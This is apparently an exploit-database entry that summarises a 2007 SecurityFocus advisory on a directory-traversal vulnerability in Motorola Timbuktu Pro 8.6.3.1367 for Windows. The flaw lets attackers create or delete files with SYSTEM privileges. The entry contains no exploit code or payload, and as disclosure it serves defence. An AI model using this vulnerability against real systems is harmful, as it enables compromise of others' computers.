Description: Motorola Timbuktu Pro 8.6.3.1367 - Directory Traversal
Type: remote
Platform: windows
Date: 2007-08-27
Author: titon

Exploit:
source: https://www.securityfocus.com/bid/25453/info

Motorola Timbuktu Pro is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to delete or create arbitrary files with SYSTEM-level privileges. This could completely compromise affected computers.

Timbuktu Pro 8.6.3.1367 for Windows is vulnerable; other versions and platforms may also be affected.
